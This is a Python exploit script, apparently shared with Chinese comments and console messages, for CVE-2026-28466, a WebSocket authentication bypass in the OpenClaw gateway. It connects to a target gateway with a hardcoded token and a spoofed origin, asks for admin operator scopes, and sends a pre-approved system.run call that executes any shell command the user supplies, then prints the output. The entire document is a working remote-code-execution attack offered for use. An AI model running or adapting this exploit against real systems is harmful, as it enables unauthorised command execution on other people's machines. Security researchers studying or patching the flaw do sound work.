OpenClaw Gateway WebSocket Authentication Bypass RCE — CVE-2026-28466

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103

import asyncio
import json
import time
import random
import string
import argparse
import sys
import websockets


CORRECT_CLIENT = {
    "id": "openclaw-control-ui",
    "version": "1.0.0",
    "platform": "web",
    "mode": "webchat"
}

async def main():
    '''
    官网公告：https://github.com/advisories/GHSA-gv46-4xfq-jv58
    CVE编号：CVE-2026-28466
    影响版本：OpenClaw<2026.2.14
    :return:
    '''
    parser = argparse.ArgumentParser(description="OpenClaw CVE-2026-28466 漏洞利用脚本",epilog="sample:\n"
               "python exploit.py -u 127.0.0.1:18789 -c whoami")
    parser.add_argument("-u", "--url", required=True, help="openclaw网关地址(如:127.0.0.1:18789)")
    parser.add_argument("-c", "--command", required=True, help="要执行的系统命令 (如:whoami)")
    args = parser.parse_args()

    WS_URL = 'ws://'+args.url+'/ws'
    COMMAND = args.command
    TOKEN = "ee01cd9b441d61ccc0dd49dc83b1f7262a97188e" # TOKEN
    NODE_ID = args.node_id="630bb7ede09ce7bf894f23c8efec80bb4e7afd5db6a9cadc739ba25eb98" # NODE_ID

    try:
        async with websockets.connect(WS_URL,origin="http://123.58.97.100:20034/") as websocket:

            async def send_request(req_id, method, params):
                req = {"type": "req", "id": req_id, "method": method, "params": params}
                await websocket.send(json.dumps(req))

            async def message_handler():
                async for message in websocket:
                    data = json.loads(message)
                    if data.get("type") == "event" and data.get("event") == "connect.challenge":
                        nonce = data["payload"]["nonce"]
                        print(f"nonce: {nonce}")
                        connect_params = {
                            "minProtocol": 3,
                            "maxProtocol": 3,
                            "client": CORRECT_CLIENT,
                            "role": "operator",
                            "scopes": ["operator.read", "operator.write", "operator.admin"],
                            "caps": [],
                            "commands": [],
                            "permissions": {},
                            "auth": {"token": TOKEN},
                            "locale": "en-US",
                            "userAgent": "Mozilla/5.0 (compatible; Python script)"
                        }
                        await send_request("1", "connect", connect_params)

                    elif data.get("type") == "res" and data.get("id") == "1":
                        if data.get("error"):
                            print(f"认证失败: {data['error']}")
                            return
                        idempotency_key = f"{int(time.time()*1000)}-{''.join(random.choices(string.ascii_lowercase + string.digits, k=8))}"
                        invoke_params = {
                            "nodeId": NODE_ID,
                            "command": "system.run",
                            "params": {
                                "command": [COMMAND],
                                "approved": True
                            },
                            "idempotencyKey": idempotency_key
                        }
                        await send_request("3", "node.invoke", invoke_params)

                    # 处理 node.invoke 响应
                    elif data.get("type") == "res" and data.get("id") == "3":
                        if data.get("error"):
                            print(f"命令执行失败: {data['error']}")
                        else:
                            result = data.get("result")
                            if isinstance(result, dict):
                                stdout = result.get("stdout", "").strip()
                                stderr = result.get("stderr", "").strip()
                                exit_code = result.get("exitCode")
                                print(f"命令执行结果: stdout={stdout}, stderr={stderr}, exitCode={exit_code}")
                            else:
                                print(data["payload"])
                        await websocket.close()
                        break
            await message_handler()
    except websockets.exceptions.ConnectionClosedOK:
        print("连接已正常关闭")
    except Exception as e:
        print(f"错误: {e}")
        sys.exit(1)

if __name__ == "__main__":
    asyncio.run(main())